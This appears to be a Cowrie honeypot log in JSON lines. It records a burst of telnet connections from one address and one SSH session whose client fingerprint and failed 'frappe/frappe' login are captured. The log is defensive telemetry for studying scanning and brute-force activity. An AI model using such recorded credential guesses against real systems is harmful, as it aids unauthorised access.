{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":57058,"dst_ip":"159.203.135.109","dst_port":23,"session":"21a27b032bdd","protocol":"telnet","message":"New connection: 51.161.172.108:57058 (159.203.135.109:23) [session: 21a27b032bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:19.341917Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":57156,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f9d18720101","protocol":"telnet","message":"New connection: 51.161.172.108:57156 (159.203.135.109:23) [session: 5f9d18720101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:19.501729Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37982,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c85681acde9","protocol":"telnet","message":"New connection: 51.161.172.108:37982 (159.203.135.109:23) [session: 7c85681acde9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:19.548429Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":57128,"dst_ip":"159.203.135.109","dst_port":23,"session":"2edea0108975","protocol":"telnet","message":"New connection: 51.161.172.108:57128 (159.203.135.109:23) [session: 2edea0108975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:19.565490Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":57162,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7d3b83095e1","protocol":"telnet","message":"New connection: 51.161.172.108:57162 (159.203.135.109:23) [session: a7d3b83095e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:19.593122Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":57144,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fca77a5da88","protocol":"telnet","message":"New connection: 51.161.172.108:57144 (159.203.135.109:23) [session: 0fca77a5da88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:19.596915Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37976,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4b47f594868","protocol":"telnet","message":"New connection: 51.161.172.108:37976 (159.203.135.109:23) [session: d4b47f594868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:19.613344Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":57188,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6ab37ab5d5b","protocol":"telnet","message":"New connection: 51.161.172.108:57188 (159.203.135.109:23) [session: a6ab37ab5d5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:19.653356Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":57196,"dst_ip":"159.203.135.109","dst_port":23,"session":"8261894e9856","protocol":"telnet","message":"New connection: 51.161.172.108:57196 (159.203.135.109:23) [session: 8261894e9856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:19.690062Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":57238,"dst_ip":"159.203.135.109","dst_port":23,"session":"85706291598a","protocol":"telnet","message":"New connection: 51.161.172.108:57238 (159.203.135.109:23) [session: 85706291598a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:19.916718Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38018,"dst_ip":"159.203.135.109","dst_port":23,"session":"b62dceb0eb66","protocol":"telnet","message":"New connection: 51.161.172.108:38018 (159.203.135.109:23) [session: b62dceb0eb66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:20.037028Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":57260,"dst_ip":"159.203.135.109","dst_port":23,"session":"2325bace0d5f","protocol":"telnet","message":"New connection: 51.161.172.108:57260 (159.203.135.109:23) [session: 2325bace0d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:20.075375Z"}
{"eventid":"cowrie.session.closed","duration":31.29113268852234,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:20.166000Z","src_ip":"51.161.172.108","session":"33d9e6acfee6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38022,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f6d9459e020","protocol":"telnet","message":"New connection: 51.161.172.108:38022 (159.203.135.109:23) [session: 9f6d9459e020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:20.171072Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38026,"dst_ip":"159.203.135.109","dst_port":23,"session":"04e35a30cda7","protocol":"telnet","message":"New connection: 51.161.172.108:38026 (159.203.135.109:23) [session: 04e35a30cda7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:20.193645Z"}
{"eventid":"cowrie.session.closed","duration":31.380969285964966,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:20.314983Z","src_ip":"51.161.172.108","session":"6f54ccfb1aa4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38058,"dst_ip":"159.203.135.109","dst_port":23,"session":"080409bddc6d","protocol":"telnet","message":"New connection: 51.161.172.108:38058 (159.203.135.109:23) [session: 080409bddc6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:20.360878Z"}
{"eventid":"cowrie.session.closed","duration":31.233492851257324,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:20.367106Z","src_ip":"51.161.172.108","session":"d6b7b396a6e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28018879890442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:20.421784Z","src_ip":"51.161.172.108","session":"30cffd0d7d9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.54746961593628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:20.428202Z","src_ip":"51.161.172.108","session":"1da148dd0f1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.245306730270386,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:20.472866Z","src_ip":"51.161.172.108","session":"24235a2fb21a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38154,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4e3a2d33d65","protocol":"telnet","message":"New connection: 51.161.172.108:38154 (159.203.135.109:23) [session: f4e3a2d33d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:20.498445Z"}
{"eventid":"cowrie.session.closed","duration":31.61774730682373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:20.503584Z","src_ip":"51.161.172.108","session":"1aa6512b4dfe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.76255750656128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:20.701588Z","src_ip":"51.161.172.108","session":"9c9a1df1dad1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.616788387298584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:20.818670Z","src_ip":"51.161.172.108","session":"6a3df6dab00d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.62877082824707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:20.991803Z","src_ip":"51.161.172.108","session":"662b286b9cf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.12519693374634,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:21.068533Z","src_ip":"51.161.172.108","session":"fc3b9345b7ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.114943981170654,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:21.239791Z","src_ip":"51.161.172.108","session":"22d8e1434370","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.608532905578613,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:21.270341Z","src_ip":"51.161.172.108","session":"3d43bbcf53cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.287531852722168,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:21.357416Z","src_ip":"51.161.172.108","session":"dff9c4255478","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.789096355438232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:21.381988Z","src_ip":"51.161.172.108","session":"1c8c5aa697c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":42150,"dst_ip":"10.17.0.5","dst_port":22,"session":"27cb90b16324","protocol":"ssh","message":"New connection: 221.139.88.149:42150 (10.17.0.5:22) [session: 27cb90b16324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:21.416623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:21.421040Z","src_ip":"221.139.88.149","session":"27cb90b16324","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38112,"dst_ip":"159.203.135.109","dst_port":23,"session":"50cc3659e018","protocol":"telnet","message":"New connection: 51.161.172.108:38112 (159.203.135.109:23) [session: 50cc3659e018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:21.550500Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38106,"dst_ip":"159.203.135.109","dst_port":23,"session":"28fe29634145","protocol":"telnet","message":"New connection: 51.161.172.108:38106 (159.203.135.109:23) [session: 28fe29634145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:21.556359Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38128,"dst_ip":"159.203.135.109","dst_port":23,"session":"a52206ae05dd","protocol":"telnet","message":"New connection: 51.161.172.108:38128 (159.203.135.109:23) [session: a52206ae05dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:21.586456Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:21.611881Z","src_ip":"221.139.88.149","session":"27cb90b16324","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.669326066970825,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:21.787572Z","src_ip":"51.161.172.108","session":"c19f727ff860","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38244,"dst_ip":"159.203.135.109","dst_port":23,"session":"52ffaa194d35","protocol":"telnet","message":"New connection: 51.161.172.108:38244 (159.203.135.109:23) [session: 52ffaa194d35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:21.906405Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38252,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f17091eaf10","protocol":"telnet","message":"New connection: 51.161.172.108:38252 (159.203.135.109:23) [session: 9f17091eaf10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:22.028811Z"}
{"eventid":"cowrie.session.closed","duration":31.329901218414307,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:22.066700Z","src_ip":"51.161.172.108","session":"b60ea4af3cdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38266,"dst_ip":"159.203.135.109","dst_port":23,"session":"879957dbffde","protocol":"telnet","message":"New connection: 51.161.172.108:38266 (159.203.135.109:23) [session: 879957dbffde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:22.121770Z"}
{"eventid":"cowrie.session.closed","duration":30.650485038757324,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:22.182605Z","src_ip":"51.161.172.108","session":"682e5f71bdcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.299317359924316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:22.215108Z","src_ip":"45.10.154.244","session":"b9aa21a0925c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02671217918396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:22.245330Z","src_ip":"51.161.172.108","session":"4ab413b6b35d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38298,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1f670691554","protocol":"telnet","message":"New connection: 51.161.172.108:38298 (159.203.135.109:23) [session: a1f670691554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:22.286111Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38330,"dst_ip":"159.203.135.109","dst_port":23,"session":"e20ad98433c3","protocol":"telnet","message":"New connection: 51.161.172.108:38330 (159.203.135.109:23) [session: e20ad98433c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:22.306401Z"}
{"eventid":"cowrie.session.closed","duration":30.856899738311768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:22.313516Z","src_ip":"51.161.172.108","session":"65a9b95029e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38308,"dst_ip":"159.203.135.109","dst_port":23,"session":"98668ad7c16d","protocol":"telnet","message":"New connection: 51.161.172.108:38308 (159.203.135.109:23) [session: 98668ad7c16d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:22.342355Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38320,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7ac5bb3c5fa","protocol":"telnet","message":"New connection: 51.161.172.108:38320 (159.203.135.109:23) [session: f7ac5bb3c5fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:22.388512Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38354,"dst_ip":"159.203.135.109","dst_port":23,"session":"edff2f7d18f4","protocol":"telnet","message":"New connection: 51.161.172.108:38354 (159.203.135.109:23) [session: edff2f7d18f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:22.442531Z"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:22.467920Z","src_ip":"221.139.88.149","session":"27cb90b16324","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38370,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c364c960feb","protocol":"telnet","message":"New connection: 51.161.172.108:38370 (159.203.135.109:23) [session: 7c364c960feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:22.522410Z"}
{"eventid":"cowrie.session.closed","duration":31.723978519439697,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:22.714339Z","src_ip":"51.161.172.108","session":"55c610effc23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.408689975738525,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:22.746777Z","src_ip":"51.161.172.108","session":"da3cbb80d6ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38424,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac418e459edc","protocol":"telnet","message":"New connection: 51.161.172.108:38424 (159.203.135.109:23) [session: ac418e459edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:22.868481Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38460,"dst_ip":"159.203.135.109","dst_port":23,"session":"26cab2aa2ca2","protocol":"telnet","message":"New connection: 51.161.172.108:38460 (159.203.135.109:23) [session: 26cab2aa2ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:23.258350Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38486,"dst_ip":"159.203.135.109","dst_port":23,"session":"a966a99b8cfe","protocol":"telnet","message":"New connection: 51.161.172.108:38486 (159.203.135.109:23) [session: a966a99b8cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:23.278861Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38472,"dst_ip":"159.203.135.109","dst_port":23,"session":"246618aecb83","protocol":"telnet","message":"New connection: 51.161.172.108:38472 (159.203.135.109:23) [session: 246618aecb83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:23.284362Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38494,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d3d5fbd14e2","protocol":"telnet","message":"New connection: 51.161.172.108:38494 (159.203.135.109:23) [session: 9d3d5fbd14e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:23.340906Z"}
{"eventid":"cowrie.session.closed","duration":31.33498525619507,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:23.424000Z","src_ip":"51.161.172.108","session":"16b0c09877ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38538,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5595d80959f","protocol":"telnet","message":"New connection: 51.161.172.108:38538 (159.203.135.109:23) [session: a5595d80959f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:23.458692Z"}
{"eventid":"cowrie.session.closed","duration":31.56547713279724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:23.493892Z","src_ip":"51.161.172.108","session":"5872755fc13a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93760347366333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:23.594209Z","src_ip":"51.161.172.108","session":"f15bdaaafc96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38552,"dst_ip":"159.203.135.109","dst_port":23,"session":"5143b5c6f3ca","protocol":"telnet","message":"New connection: 51.161.172.108:38552 (159.203.135.109:23) [session: 5143b5c6f3ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:23.659487Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:23.672754Z","src_ip":"221.139.88.149","session":"27cb90b16324","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38580,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ad6457922c8","protocol":"telnet","message":"New connection: 51.161.172.108:38580 (159.203.135.109:23) [session: 8ad6457922c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:23.746071Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38594,"dst_ip":"159.203.135.109","dst_port":23,"session":"479a8e3a75c1","protocol":"telnet","message":"New connection: 51.161.172.108:38594 (159.203.135.109:23) [session: 479a8e3a75c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:24.070344Z"}
{"eventid":"cowrie.session.closed","duration":32.25309133529663,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:24.125208Z","src_ip":"51.161.172.108","session":"5312f619eaaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.462112188339233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:24.182915Z","src_ip":"51.161.172.108","session":"4be2d9b2b63d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.452720880508423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:24.189339Z","src_ip":"51.161.172.108","session":"b12df8024f6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.850542306900024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:24.275404Z","src_ip":"51.161.172.108","session":"e818c9b12160","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38638,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c2fd281e900","protocol":"telnet","message":"New connection: 51.161.172.108:38638 (159.203.135.109:23) [session: 8c2fd281e900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:24.359780Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38650,"dst_ip":"159.203.135.109","dst_port":23,"session":"75e9ed8b9d86","protocol":"telnet","message":"New connection: 51.161.172.108:38650 (159.203.135.109:23) [session: 75e9ed8b9d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:24.390511Z"}
{"eventid":"cowrie.session.closed","duration":31.221022605895996,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:24.458807Z","src_ip":"51.161.172.108","session":"a74cc4f631d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.199029207229614,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:24.492342Z","src_ip":"51.161.172.108","session":"4bc155cd034b","protocol":"telnet"}
